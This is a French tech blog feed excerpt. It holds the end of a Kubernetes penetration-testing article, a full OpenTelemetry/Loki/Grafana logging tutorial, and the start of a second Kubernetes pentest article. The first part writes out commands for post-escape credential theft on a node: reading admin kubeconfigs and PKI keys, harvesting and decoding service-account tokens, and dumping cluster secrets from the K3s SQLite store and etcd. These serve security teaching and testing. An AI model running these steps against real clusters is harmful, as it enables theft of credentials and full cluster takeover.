<p>Des CVE ciblent aussi les composants Kubernetes et permettent une compromission du cluster directement depuis un pod. <strong>IngressNightmare (CVE-2025-1974)</strong> en est l'exemple le plus critique (CVSS 9.8) : une chaîne de vulnérabilités dans le Validating Admission Controller de nginx-ingress permet l'exécution de code sur le pod du contrôleur depuis n'importe quel pod du cluster, sans authentification. Le SA du contrôleur a par défaut accès en lecture a tous les Secrets de tous les namespaces, ce qui donne accès a l'ensemble des credentials du cluster. Versions affectées : nginx-ingress &lt; 1.12.1 et &lt; 1.11.5. Référence : <a href="https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities">Wiz Research - IngressNightmare</a></p>
<h3>Après l'évasion : exploitation du nœud</h3>
<p>Une fois sur le nœud (via misconfiguration ou CVE), l'objectif est de récupérer des credentials permettant d'accéder à l'API Kubernetes avec des droits élevés. Plusieurs sources sont disponibles immédiatement.</p>
<p><strong>Kubeconfig et certificats</strong></p>
<pre><code class="language-bash"># K3s : kubeconfig admin directement utilisable
$ cat /etc/rancher/k3s/k3s.yaml
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTi...
    server: https://127.0.0.1:6443
  name: default
contexts:
- context:
    cluster: default
    user: default
  name: default
current-context: default
kind: Config
users:
- name: default
  user:
    client-certificate-data: LS0tLS1CRUdJTi...
    client-key-data: LS0tLS1CRUdJTi...

# Ce kubeconfig contient un certificat client system:admin → cluster-admin complet

# K3s : certificats TLS du cluster
$ ls /var/lib/rancher/k3s/server/tls/
client-admin.crt             client-controller.key         serving-kube-apiserver.crt
client-admin.key             client-kube-apiserver.crt     serving-kube-apiserver.key
client-auth-proxy.crt        client-kube-apiserver.key     server-ca.crt
client-auth-proxy.key        client-scheduler.crt          server-ca.key
client-ca.crt                client-scheduler.key          service.key
client-ca.key                client-supervisor.crt         ...

# kubeadm : kubeconfig admin
$ cat /etc/kubernetes/admin.conf

# kubeadm : certificats PKI
$ ls /etc/kubernetes/pki/
apiserver-kubelet-client.crt  apiserver-kubelet-client.key  ca.crt  ca.key  ...
</code></pre>
<p><strong>Tokens de Service Accounts système</strong></p>
<p>Sur le nœud, les tokens des SA des pods en cours d'exécution sont accessibles dans les volumes montés par le Kubelet. Certains SA système ont des droits étendus (CNI, operators, ingress-controller) :</p>
<pre><code class="language-bash"># Lister les tokens SA montés dans les pods du nœud
$ find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2&gt;/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-b4l47/token
/var/lib/kubelet/pods/e8de44cd-.../volumes/kubernetes.io~projected/kube-api-access-tflnq/token
/var/lib/kubelet/pods/1053a053-.../volumes/kubernetes.io~projected/kube-api-access-zz9g8/token
/var/lib/kubelet/pods/24786239-.../volumes/kubernetes.io~projected/kube-api-access-dkr9k/token
</code></pre>
<p>Chaque token est un JWT décodable immédiatement pour identifier le namespace, le SA et le pod :</p>
<pre><code class="language-bash"># Décoder le JWT pour identifier le Service Account
\( TOKEN=\)(cat /var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-b4l47/token)

\( echo \)TOKEN | cut -d. -f2 | tr '_-' '/+' | base64 -d 2&gt;/dev/null
{... "kubernetes.io":{"namespace":"kube-system",
      "pod":{"name":"cilium-wqqnp"},
      "serviceaccount":{"name":"cilium"}} ...}
</code></pre>
<p>On identifie ainsi tous les SA actifs sur le nœud et on teste leurs droits :</p>
<pre><code class="language-bash"># SA cilium : accès en lecture aux pods, services, endpoints, nodes, networkpolicies
\( kubectl auth can-i --list --token="\)TOKEN_CILIUM" --server=https://10.25.11.200:6443
Resources                                        Verbs
endpoints                                        [get list watch]
namespaces                                       [get list watch]
nodes                                            [get list watch]
pods                                             [get list watch]
services                                         [get list watch]
networkpolicies.networking.k8s.io                [get list watch]
...

# SA local-path-provisioner : accès CRUD aux pods, PV, PVC, nodes, storageclasses
\( kubectl auth can-i --list --token="\)TOKEN_LPP" --server=https://10.25.11.200:6443
Resources                                        Verbs
endpoints                                        [*]
persistentvolumes                                [*]
pods                                             [*]
configmaps                                       [get list watch]
nodes                                            [get list watch]
persistentvolumeclaims                           [get list watch]
pods/log                                         [get list watch]
storageclasses.storage.k8s.io                    [get list watch]
...
</code></pre>
<p>Le SA <code>local-path-provisioner</code> a des droits de création/suppression sur les pods et les PersistentVolumes : un attaquant peut l'utiliser pour déployer un pod privilégié avec un montage <code>hostPath</code>, ce qui donne un accès root sur n'importe quel nœud du cluster.</p>
<p><strong>etcd (si nœud master)</strong></p>
<p>Sur un nœud master, l'accès direct au datastore permet de lire tous les secrets du cluster en clair (sauf chiffrement at-rest activé). K3s utilise par défaut <strong>kine</strong> (un wrapper SQLite qui émule l'API etcd). La base est accessible en lecture directe :</p>
<pre><code class="language-bash"># K3s : base SQLite kine
$ ls -la /var/lib/rancher/k3s/server/db/
total 14664
drwx------ 3 root root     4096 Feb 26 10:13 .
-rw-r--r-- 1 root root 10338304 Feb 27 13:40 state.db
-rw-r--r-- 1 root root    32768 Feb 27 13:40 state.db-shm
-rw-r--r-- 1 root root  4626792 Feb 27 13:41 state.db-wal
drwx------ 2 root root     4096 Feb 26 10:13 etcd

# Lister les secrets stockés dans la base (nécessite sqlite3)
$ sqlite3 /var/lib/rancher/k3s/server/db/state.db \
    "SELECT DISTINCT name FROM kine WHERE name LIKE '/registry/secrets%' ORDER BY name;"
/registry/secrets/ingress-nginx/ingress-nginx-admission
/registry/secrets/kube-system/cilium-ca
/registry/secrets/kube-system/hubble-relay-client-certs
/registry/secrets/kube-system/hubble-server-certs
/registry/secrets/kube-system/k3s-master.node-password.k3s
/registry/secrets/kube-system/k3s-serving
/registry/secrets/kube-system/k3s-worker-01.node-password.k3s
/registry/secrets/kube-system/k3s-worker-02.node-password.k3s
/registry/secrets/kube-system/sh.helm.release.v1.cilium.v1

# Lire la valeur d'un secret spécifique
$ sqlite3 /var/lib/rancher/k3s/server/db/state.db \
    "SELECT value FROM kine WHERE name='/registry/secrets/kube-system/cilium-ca' ORDER BY id DESC LIMIT 1;" | strings
</code></pre>
<p>Pour kubeadm, l'accès se fait via <code>etcdctl</code> avec les certificats locaux du master :</p>
<pre><code class="language-bash"># kubeadm : accès via les certs locaux
$ ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
    --cert=/etc/kubernetes/pki/etcd/server.crt \
    --key=/etc/kubernetes/pki/etcd/server.key \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    get /registry/secrets --prefix --keys-only
</code></pre>
<p>Un dernier vecteur existe : <strong>se faire passer pour un nœud</strong>. Quand un nœud rejoint le cluster, il utilise un bootstrap token pour obtenir un certificat. Si un attaquant récupère ce token (stocké sur le nœud, ou accessible via un service cloud comme le WireServer d'Azure), il peut s'enregistrer comme nœud légitime et lire les secrets de tous les pods schedulés dessus. Synacktiv a <a href="https://www.synacktiv.com/publications/so-i-became-a-node-exploiting-bootstrap-tokens-in-azure-kubernetes-service">démontré cette attaque sur AKS</a> pour compromettre un cluster entier.</p>
<p>À ce stade, on dispose de credentials (kubeconfig admin, SA tokens à droits élevés, accès etcd direct, ou identité de nœud) permettant d'interagir avec l'API Kubernetes avec des privilèges. L'article suivant couvre l'exploitation de ces accès API : lecture de secrets, mouvement latéral entre namespaces, persistance, et prise de contrôle complète du cluster.</p>
]]></content:encoded></item><item><title><![CDATA[La gestion des logs applicatifs avec l'écosystème OpenTelemetry]]></title><description><![CDATA[Mise en place du collecteur OpenTelemetry et instrumentation des logs sur une application Node.js

Cet article se focalise sur la mise en place d'un collecteur OpenTelemetry, et de l'instrumentation d]]></description><link>https://niji.tech/opentelemetry-infra-observabilite</link><guid isPermaLink="true">https://niji.tech/opentelemetry-infra-observabilite</guid><category><![CDATA[Devops]]></category><category><![CDATA[SRE]]></category><category><![CDATA[telemetry]]></category><category><![CDATA[OpenTelemetry]]></category><category><![CDATA[logging]]></category><category><![CDATA[architecture]]></category><category><![CDATA[observability]]></category><dc:creator><![CDATA[Baptiste Destombes]]></dc:creator><pubDate>Wed, 13 May 2026 13:42:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767159429729/d936aab5-64c4-4484-b35e-5b7b0efec213.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>Mise en place du collecteur OpenTelemetry et instrumentation des logs sur une application Node.js</h1>
<blockquote>
<p>Cet article se focalise sur la mise en place d'un collecteur OpenTelemetry, et de l'instrumentation des logs applicatifs dans des applications Node.js, puis sur la mise en place de Loki et Grafana pour consulter les logs collectés par le collecteur.</p>
</blockquote>
<h2>Contexte</h2>
<h3>Rôle et définition</h3>
<blockquote>
<p>L'observabilité est la capacité de comprendre l'état d'un système ou d'une application informatique et d'y réagir (citation extraite du site de RedHat).</p>
</blockquote>
<p>Les logs applicatifs sont un pilier de l'observabilité, au même titre que les traces HTTP et les métriques. Ils sont les messages générés par les applications lors de leur exécution, et contiennent des informations brutes — erreurs, états, événements — et constituent souvent la première source de diagnostic.</p>
<p>Pourquoi les logs sont essentiels ?</p>
<ul>
<li><p>Ils décrivent ce qui s’est passé à un moment donné.</p>
</li>
<li><p>Ils aident à reconstituer une séquence d’événements.</p>
</li>
<li><p>Ils sont indispensables pour comprendre des erreurs fonctionnelles ou applicatives.</p>
</li>
</ul>
<h3>Objectif de l'article</h3>
<p>Ayant plusieurs services backend utilsant Node.js, et plus précisément Express ou Nest.js, je souhaite mutualiser la collecte des logs applicatifs de ces services, et pour y parvenir, je vais utiliser les technologies suivantes:</p>
<ul>
<li><p>l'API OpenTelemetry JavaScript / TypeScript, à intégrer directement dans le code de mes services</p>
</li>
<li><p>un collecteur OpenTelemetry, qui assurera la mutualisation des logs de mes services</p>
</li>
<li><p>des outils de monitoring: Loki et Grafana</p>
</li>
</ul>
<p><strong>NOTE</strong> : Alors que cet article décrit la mise en place de la mutualisation des logs, je souhaite également appliquer les mêmes principes pour les traces et les métriques, mais la description de leurs mises en place fera l'objet d'autres articles.</p>
<p>L'objectif en image:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6835b7a9e8a6ff755ea14332/2f7fe48d-4eef-405e-a431-853e577ee943.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Installation du collecteur OpenTelemetry</h2>
<h3>Rôle du collecteur</h3>
<p>Le Collector agit comme un intermédiaire capable de :</p>
<ul>
<li><p>Recevoir des données de plusieurs applications (via des <code>receivers</code>)</p>
</li>
<li><p>Les transformer ou les filtrer</p>
</li>
<li><p>Les exporter vers différentes plateformes (via des <code>exporters</code>)</p>
</li>
</ul>
<h3>Les Receivers</h3>
<p>Les receivers ont pour rôle de recevoir les données de télémétrie et constituent le point d’entrée des traces, métriques et logs dans l’écosystème OpenTelemetry, permettant ainsi de centraliser et d’unifier la collecte des données d’observabilité.</p>
<p>OpenTelemetry s’appuie largement sur le protocole OTLP (pour OpenTelemetry Protocol). Les receivers peuvent également supporter d’autres protocoles reconnus, ce qui garantit une forte interopérabilité avec les outils et infrastructures existants, mais j'utilise le protocole OTLP dans ma configuration.</p>
<p>Le protocole OTLP consiste en une spécification de formattage de données. Le transport de ces données peut être réalisé via les protocoles HTTP ou gRPC; j'utilise le transport HTTP dans mon infrastructure.</p>
<h3>Les Exporters</h3>
<p>Les exporters servent à envoyer les données collectées vers des systèmes externes. Ils permettent à OpenTelemetry de rester flexible et compatible avec de nombreux outils d’observabilité. Ici aussi, j'utilise le protocole OTLP, mais, comme dans le cas des receivers, d’autres protocoles peuvent être utilisés.</p>
<h3>Installation</h3>
<p>Nous créons d'abord un fichier <code>docker-compose.yml</code> qui contient la configuration pour déployer le collecteur OpenTelemetry sous forme de conteneur Docker:</p>
<pre><code class="language-yaml">services:
  open-telemetry-collector:
    image: otel/opentelemetry-collector
    volumes:
      - ./open-telemetry-collector-config.yaml:/etc/otelcol/config.yaml
    ports:
      - 4318:4318
</code></pre>
<p>Ici, le collecteur va écouter sur le port spécifique <code>4318</code>; les services Node.js utiliseront donc ce port pour transmettre les logs via HTTP.</p>
<p>Avant de lancer le conteneur, nous créons un second fichier nommé <code>open-telemetry-collector-config.yaml</code> dans le même dossier que le fichier <code>docker-compose.yml</code>. Ce fichier permet de configurer le collecteur:</p>
<pre><code class="language-yaml">receivers:
  otlp:
    protocols:
      http:
        endpoint: 0.0.0.0:4318

exporters:
  debug:
    verbosity: detailed

service:
  pipelines:
    logs:
      receivers: [otlp]
      exporters: [debug]
</code></pre>
<p>On note que le collecteur est configuré pour avoir:</p>
<ul>
<li><p>un <code>receiver</code> qui écoute les requêtes HTTP sur le port <code>4318</code>.</p>
</li>
<li><p>un <code>exporter</code> de debug qui permet de vérifier la réception des logs</p>
</li>
<li><p>un <code>pipeline</code> qui envoie à l'exporter les données reçues par le receiver</p>
</li>
</ul>
<p>Enfin, nous lançons le conteneur:</p>
<pre><code class="language-sh">docker compose up
</code></pre>
<hr />
<h2>Mise en place de l'API OpenTelemetry sur les services Node.js</h2>
<h3>Installation</h3>
<p>J'installe les dépendances sur mon projet Node.js:</p>
<pre><code class="language-sh">pnpm install --save @opentelemetry/api-logs @opentelemetry/sdk-logs @opentelemetry/exporter-logs-otlp-http @opentelemetry/resources @opentelemetry/semantic-conventions
</code></pre>
<p><strong>NOTE</strong> : j'utilise la commande <code>pnpm</code>, mais <code>npm</code> ou <code>yarn</code> conviennent également.</p>
<h3>Concepts</h3>
<p>Au sens de la spécification OTLP, un log est un objet qui contient principalement un <code>body</code> et des <code>attributes</code>.</p>
<p>Dans l'exemple ci-dessous, nous allons créer les éléments suivants, qui ajoutent des <code>attributes</code> communs à tous les logs qui les implémentent :</p>
<ul>
<li><p>une <code>resource</code>, qui ajoute des <code>attributes</code> de haut niveau (ex: nom du service, environnement, ...)</p>
</li>
<li><p>un <code>scope</code>, qui agit comme une instance du logger et qui ajoute aussi des <code>attributes</code> partagés (ex: section de l'application)</p>
</li>
</ul>
<p>Le log que nous allons créer va donc utiliser une <code>resource</code> et un <code>scope</code> qui lui injecteront les <code>attributes</code> suivants:</p>
<table>
<thead>
<tr>
<th>nom <code>attribute</code></th>
<th>valeur <code>attribute</code></th>
<th>ajouté par</th>
</tr>
</thead>
<tbody><tr>
<td>service.name</td>
<td>mon-service-nodejs</td>
<td>resource</td>
</tr>
<tr>
<td>service.version</td>
<td>1.0.0</td>
<td>resource</td>
</tr>
<tr>
<td>deployment.environment</td>
<td>development</td>
<td>resource</td>
</tr>
<tr>
<td>logger.section</td>
<td>http-controller</td>
<td>scope</td>
</tr>
</tbody></table>
<h3>Exemple d'implémentation</h3>
<p>puis nous créons un fichier <code>exemple-open-telemetry.js</code> à la racine du projet. Cet exemple va créer un exporter OTLP qui est utilisé pour transmettre nos logs au collecteur</p>
<pre><code class="language-js">import { logs } from '@opentelemetry/api-logs';
import {
  LoggerProvider,
  BatchLogRecordProcessor,
} from '@opentelemetry/sdk-logs';
import { OTLPLogExporter } from '@opentelemetry/exporter-logs-otlp-http';
import { Resource } from '@opentelemetry/resources';
import { SEMRESATTRS_SERVICE_NAME } from '@opentelemetry/semantic-conventions';

// Création d'une `resource` (qui ajoute des attributs à chaque log)
const resource = new Resource({
  [SEMRESATTRS_SERVICE_NAME]: 'mon-service-nodejs',
  'service.version': '1.0.0',
  'deployment.environment': 'development',
});
const loggerProvider = new LoggerProvider({
  resource: resource,
});

// Création d'un exporter OTLP qui envoie les logs via HTTP sur le port 4318
const otlpExporter = new OTLPLogExporter({
  url: 'http://localhost:4318/v1/logs', // Modifier `localhost` pour le nom de domaine ou l'adresse IP du collecteur
  headers: {
    // Ajouter des headers d'authentification si nécessaire
    // 'Authorization': 'Bearer YOUR_TOKEN',
  },
});

// Utilisation de la fonctionnalité de batch:
// Plutôt qu'envoyer une requête HTTP par log,
// il est souvent préférable d'utiliser un traitement par lot 🚀
loggerProvider.addLogRecordProcessor(
  new BatchLogRecordProcessor(otlpExporter, {
    maxQueueSize: 2048,
    maxExportBatchSize: 512,
    scheduledDelayMillis: 5000,
  })
);

// Déclaration del'instance du logger
// Cette instance est considérée comme le `scope` (qui ajoute des attributs à chaque log)
logs.setGlobalLoggerProvider(loggerProvider);
const logger = logs.getLogger('logger.section', 'http-controller');

// Envoi du 1er log !! 😀
// (Ici, un log typique d'application Express ou Nest.js)
// Il implémente la structure OTLP à envoyer au collecteur
logger.emit({
  severityText: 'INFO',
  body: 'Requete entrante',
  attributes: {
    'http.method': 'GET',
    'http.url': '/api/users',
    'http.status_code': 200,
  },
});

// Extinction du logger lorsque le traitement est terminé
setTimeout(async () =&gt; {
  console.log('Fermeture...');
  await loggerProvider.shutdown();
  console.log('Les logs ont été exportés !!');
}, 2000);
</code></pre>
<p>Puis nous exécutons le script:</p>
<pre><code class="language-sh">node exemple-open-telemetry.js
</code></pre>
<h3>Vérification de fonctionnement</h3>
<p>Nous allons vérifier que le collecteur a bien reçu la donnée OTLP de notre log applicatif.</p>
<p>D'abord, j'ai besoin de connaître le nom de notre conteneur Docker:</p>
<pre><code class="language-sh">docker ps
</code></pre>
<p>Une liste des conteneurs actifs va être affichée; celui que nous cherchons dans cette liste utilise l'image <code>otel/opentelemetry-collector</code>, ce qui nous permet de trouver son nom en fin de ligne : <code>setup-open-telemetry-collector-1</code>.</p>
<p>Grâce à ce nom, nous pouvons afficher les logs du collecteur (de logs 🙄):</p>
<pre><code class="language-sh">docker logs setup-open-telemetry-collector-1
</code></pre>
<p>et nous voyons bien dans les informations en retour que notre log a été reçu correctement 🎉 :</p>
<pre><code class="language-plaintext">2026-03-23T10:29:01.917Z        info    ResourceLog #0
Resource SchemaURL:
Resource attributes:
     -&gt; service.name: Str(mon-service-nodejs)
     -&gt; telemetry.sdk.language: Str(nodejs)
     -&gt; telemetry.sdk.name: Str(opentelemetry)
     -&gt; telemetry.sdk.version: Str(1.23.0)
     -&gt; service.version: Str(1.0.0)
     -&gt; deployment.environment: Str(development)
ScopeLogs #0
ScopeLogs SchemaURL:
InstrumentationScope logger.section http-controller
LogRecord #0
ObservedTimestamp: 2026-03-23 10:28:59.901 +0000 UTC
Timestamp: 2026-03-23 10:28:59.901 +0000 UTC
SeverityText: INFO
SeverityNumber: Unspecified(0)
Body: Str(Requete entrante)
Attributes:
     -&gt; http.method: Str(GET)
     -&gt; http.url: Str(/api/users)
     -&gt; http.status_code: Int(200)
Trace ID:
Span ID:
Flags: 0
</code></pre>
<hr />
<h2>Installation de Loki et Grafana</h2>
<h3>Pourquoi ces outils?</h3>
<blockquote>
<p>Après collecte des logs, nous avons désormais besoin d'une interface pour les visualiser, les trier, les filtrer...</p>
</blockquote>
<p>Il existe plusieurs solutions sur le marché, et voici un tableau comparatif des plus célèbres d'entre elles:</p>
<table>
<thead>
<tr>
<th>Critère</th>
<th><strong>Grafana Loki</strong></th>
<th><strong>Elastic Kibana</strong></th>
<th><strong>Datadog</strong></th>
<th><strong>New Relic</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>Rôle</strong></td>
<td>Stockage et gestion des logs.</td>
<td>Analyse et visualisation des logs et métriques.</td>
<td>Collecte, analyse et visualisation des logs, métriques, et traces.</td>
<td>Surveillance des performances applicatives, logs et métriques.</td>
</tr>
<tr>
<td><strong>Connectivité avec OpenTelemetry</strong></td>
<td>Intégration native via OpenTelemetry Collector (OTLP)</td>
<td>Intégration via Elastic Agent ou OpenTelemetry Collector</td>
<td>Intégration native avec OpenTelemetry.</td>
<td>Intégration native avec OpenTelemetry.</td>
</tr>
<tr>
<td><strong>Visualisation</strong></td>
<td>Visualisation via Grafana.</td>
<td>Visualisation via Kibana (interface web).</td>
<td>Tableau de bord personnalisé avec de nombreuses visualisations intégrées.</td>
<td>Interface web riche avec visualisation de logs et de performances.</td>
</tr>
<tr>
<td><strong>Coût</strong></td>
<td>Open source (gratuite pour usage de base), mais des coûts peuvent s'appliquer pour l'infrastructure et les plugins payants</td>
<td>Gratuit pour l'usage de base, coût pour l'infrastructure et les fonctionnalités avancées</td>
<td>Modèle payant basé sur l’utilisation (logs, traces, métriques) avec tarification par volume</td>
<td>Modèle payant basé sur l’utilisation (log, métriques, traces) avec options d’abonnement par niveau.</td>
</tr>
<tr>
<td><strong>Dépendance fournisseur</strong></td>
<td>Faible : Solution open source, mais peut nécessiter des outils associés pour la gestion à grande échelle.</td>
<td>Dépendance à Elastic (en particulier pour les services managés).</td>
<td>Haute : Solution SaaS avec dépendance à Datadog pour la gestion des logs et des métriques.</td>
<td>Haute : Solution SaaS avec dépendance à New Relic pour la gestion des logs et des métriques.</td>
</tr>
<tr>
<td><strong>Scalabilité</strong></td>
<td>Excellente scalabilité avec un stockage optimisé pour les logs (peut être plus complexe à gérer à très grande échelle).</td>
<td>Très bonne scalabilité, mais peut devenir coûteuse pour les très grands volumes de données.</td>
<td>Scalabilité très bonne, conçu pour des environnements de grande taille.</td>
<td>Scalabilité très bonne, mais coûteuse à grande échelle.</td>
</tr>
<tr>
<td><strong>Recherches et requêtes</strong></td>
<td>Recherche rapide et efficace via Grafana, mais limité à des recherches basées sur des logs sans analyse avancée.</td>
<td>Recherche puissante avec support de requêtes complexes via Elasticsearch.</td>
<td>Recherche rapide et bien intégrée, avec une prise en charge des logs et des traces.</td>
<td>Recherche rapide, avec des filtres et des capacités de requêtes basées sur des logs et des traces.</td>
</tr>
<tr>
<td><strong>Formats standards</strong></td>
<td>Compatible avec des formats comme JSON, Logfmt, et d’autres formats personnalisés.</td>
<td>Compatible avec JSON, les logs structurés et semi-structurés.</td>
<td>Compatible avec JSON, logfmt, et autres formats courants.</td>
<td>Compatible avec JSON, logfmt, et autres formats courants.</td>
</tr>
</tbody></table>
<p>Pour ma part, je souhaite une solution 100% Open Source (si possible); et en particulier éviter les dépendances à des outils tiers. Le critère du coût est prioritaire, et je veux le plus possible avoir la main sur le traitement de mes données par ces outils. Mon choix s'est donc porté sur le couple Grafana / Loki.</p>
<p>Par ailleurs, Loki reconnaît nativement les données OTLP que le collecteur lui transmet par requêtes HTTP; nous restons donc sur les mêmes principes de fonctionnement que ceux présentés au début de cet article.</p>
<h3>Installation</h3>
<p>Nous ajoutons de nouveaux services au fichier de configuration de conteneurs <code>docker-compose.yml</code> (et quelques paramètres au collecteur):</p>
<pre><code class="language-yaml">services:
  open-telemetry-collector:
    image: otel/opentelemetry-collector
    volumes:
      - ./open-telemetry-collector-config.yaml:/etc/otelcol/config.yaml
    ports:
      - 4318:4318
    depends_on:
      - loki
    networks:
      - loki

  loki:
    image: grafana/loki:3.4.2
    ports:
      - "3100:3100"
    volumes:
      - ./loki-config.yaml:/etc/loki/local-config.yaml
    command: -config.file=/etc/loki/local-config.yaml
    networks:
      - loki

  grafana:
    image: grafana/grafana:11.6.0
    environment:
      - GF_FEATURE_TOGGLES_ENABLE=grafanaManagedRecordingRules
      - GF_AUTH_ANONYMOUS_ORG_ROLE=Admin
      - GF_AUTH_ANONYMOUS_ENABLED=true
      - GF_AUTH_BASIC_ENABLED=false
    ports:
      - 3000:3000/tcp
    entrypoint:
       - sh
       - -euc
       - |
         mkdir -p /etc/grafana/provisioning/datasources
         cat &lt;&lt;EOF &gt; /etc/grafana/provisioning/datasources/ds.yaml
         apiVersion: 1
         datasources:
         - name: Loki
           type: loki
           access: proxy
           orgId: 1
           url: 'http://loki:3100'
           basicAuth: false
           isDefault: true
           version: 1
           editable: true
         EOF
         /run.sh
    networks:
      - loki

networks:
    loki:
</code></pre>
<p>Avec cette configuration:</p>
<ul>
<li><p>Loki écoute les requêtes HTTP au format OTLP sur le port 3100</p>
</li>
<li><p>L'interface visuelle Grafana sera disponible sur l'URL suivante: <a href="http://localhost:3000">http://localhost:3000</a></p>
</li>
</ul>
<p>Et nous configurons un nouvel exporter dans notre fichier de configuration du collecteur <code>open-telemetry-collector-config.yaml</code> :</p>
<pre><code class="language-yaml">receivers:
  otlp:
    protocols:
      http:
        endpoint: 0.0.0.0:4318

exporters:
  debug:
    verbosity: detailed
  otlphttp/logs:
    endpoint: "http://loki:3100/otlp"
    tls:
      insecure: true

service:
  pipelines:
    logs:
      receivers: [otlp]
      exporters: [debug, otlphttp/logs]
</code></pre>
<p>Il faut noter que l'exporter est paramétré pour envoyer les données vers le nom de domaine <code>loki</code> sur le port <code>3100</code>; ce nom de domaine est configuré dans la configuration des conteneurs, section <code>networks</code>.</p>
<p>Loki a lui aussi besoin de son fichier de configuration <code>loki-config.yaml</code>, à placer dans le même dossier que les 2 fichiers précédents:</p>
<pre><code class="language-yaml">auth_enabled: false

limits_config:
  allow_structured_metadata: true
  volume_enabled: true

server:
  http_listen_port: 3100

common:
  ring:
    instance_addr: 0.0.0.0
    kvstore:
      store: inmemory
  replication_factor: 1
  path_prefix: /tmp/loki

schema_config:
  configs:
  - from: 2020-05-15
    store: tsdb
    object_store: filesystem
    schema: v13
    index:
      prefix: index_
      period: 24h

storage_config:
  tsdb_shipper:
    active_index_directory: /tmp/loki/index
    cache_location: /tmp/loki/index_cache
  filesystem:
    directory: /tmp/loki/chunks

pattern_ingester:
  enabled: true
</code></pre>
<p>Nous relançons les conteneurs:</p>
<pre><code class="language-sh">docker compose up
</code></pre>
<p>Nous exécutons à nouveau le script Node.js présenté en partie 1:</p>
<pre><code class="language-sh">node exemple-open-telemetry.js
</code></pre>
<p>Lorsque les conteneurs sont lancés, Grafana est disponible sur l'URL suivante : <a href="http://localhost:3000">http://localhost:3000</a>.</p>
<p>Dans la section "Explore", nous allons créer une <code>query</code>. On note que Grafana dispose déjà d'une liste de labels créée à partir de notre simple exécution du script ci-dessus; on sélectionne donc le label "deployment_environment" et la valeur "development" pour ce label, puis on clique sur le bouton "Run query".</p>
<img src="https://cdn.hashnode.com/uploads/covers/6835b7a9e8a6ff755ea14332/e4e773ed-3009-4f7d-b9c9-e35ecbf117d7.png" alt="" style="display:block;margin:0 auto" />

<p>Nous trouvons bien notre log, et ses métadonnées dans les résultats de Grafana.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6835b7a9e8a6ff755ea14332/c4937386-f046-45a5-acd7-896873e21891.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Industrialiser la solution</h2>
<p>Pour mettre à l'échelle cette infrastructure, voici mes prochaines étapes</p>
<ul>
<li><p>installer mes services Node.js, et instances du collecteur, de Loki et de Grafana sur des machines différentes (et donc remplacer "localhost" par des noms de domaine)</p>
</li>
<li><p>utiliser HTTPS pour les communications entre ces instances</p>
</li>
<li><p>paramétrer l'authentification sur les différents outils</p>
</li>
<li><p>factoriser le code d'exemple présenté en partie 1, de sorte à l'implémenter sous forme d'une classe TypeScript</p>
</li>
</ul>
<hr />
<h2>Conclusion</h2>
<p>Cet article, bien que focalisé sur la gestion des logs de leur production dans le code jusqu'à leur exploitation visuelle dans un écosystème OpenTelemetry, a également décrit l'installation du collecteur.</p>
<p>Ce collecteur est le fondement de cet écosystème, et j'écris d'ailleurs un article similaire à propos de l'instrumentation des traces HTTP. Ce nouvel article se basera lui aussi sur le collecteur et j'en reprendrai donc les éléments de configuration...</p>
]]></content:encoded></item><item><title><![CDATA[De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 1/3]]></title><description><![CDATA[Dans les deux articles précédents, nous avons construit une vision complète d'un cluster Kubernetes : son architecture, ses objets clés, son réseau et ses mécanismes de cloisonnement. Ces bases sont d]]></description><link>https://niji.tech/de-l-exposition-r-seau-au-cluster-admin-pentest-d-un-cluster-kubernetes-1-3</link><guid isPermaLink="true">https://niji.tech/de-l-exposition-r-seau-au-cluster-admin-pentest-d-un-cluster-kubernetes-1-3</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Marc LE PECH]]></dc:creator><pubDate>Tue, 07 Apr 2026 09:51:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/25494d97-6659-4ae7-b7d1-994554340f3d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans les deux articles précédents, nous avons construit une vision complète d'un cluster Kubernetes : son architecture, ses objets clés, son réseau et ses mécanismes de cloisonnement. Ces bases sont désormais suffisantes pour adopter un autre point de vue, celui de l'attaquant.</p>
<p>Cet article aborde le pentest d'un cluster Kubernetes de manière pratique et méthodique. L'objectif est de couvrir, pour chaque type d'accès possible, les techniques et vecteurs d'attaque associés : depuis la reconnaissance de la surface d'exposition externe, jusqu'à l'exploitation des composants internes une fois un premier accès obtenu.</p>
<p>La progression suit une logique de pivot : on commence par l'extérieur, on cherche une entrée, puis on escalade méthodiquement jusqu'aux ressources les plus sensibles.</p>
<h2><strong>Reconnaissance externe : Cartographier la surface d'exposition</strong></h2>
<p>Avant de tenter quoi que ce soit, il faut comprendre ce qui est visible depuis l'extérieur. Un cluster Kubernetes n'est pas un "monolithe" : il est composé de nombreux composants qui écoutent sur des ports bien identifiés. Certains sont intentionnellement exposés (l'application web), d'autres ne devraient jamais l'être (kubelet, etcd). La première étape consiste à cartographier tout cela.</p>
<p>La surface d'attaque visible dépend directement de la façon dont le cluster est déployé et exposé. <strong>On ne scanne pas un cluster cloud derrière un Load Balancer de la même manière qu'un cluster on-premise avec des nœuds directement accessibles</strong>.</p>
<ul>
<li><p><strong>Cloud avec Load Balancer (EKS, GKE, AKS)</strong> : l'IP publique appartient au LB (Load Balancer), les nœuds sont dans un sous-réseau privé. La surface visible est réduite à ce que le LB expose. L'accès direct aux composants internes (kubelet, etcd) est moins probable, mais pas impossible selon les règles de pare-feu.</p>
</li>
<li><p><strong>On-premise ou cloud mal configuré</strong> : les nœuds ont des IP directement routables. C'est dans ce cas que l'on trouve le plus souvent des API servers ou des kubelet directement joignables.</p>
</li>
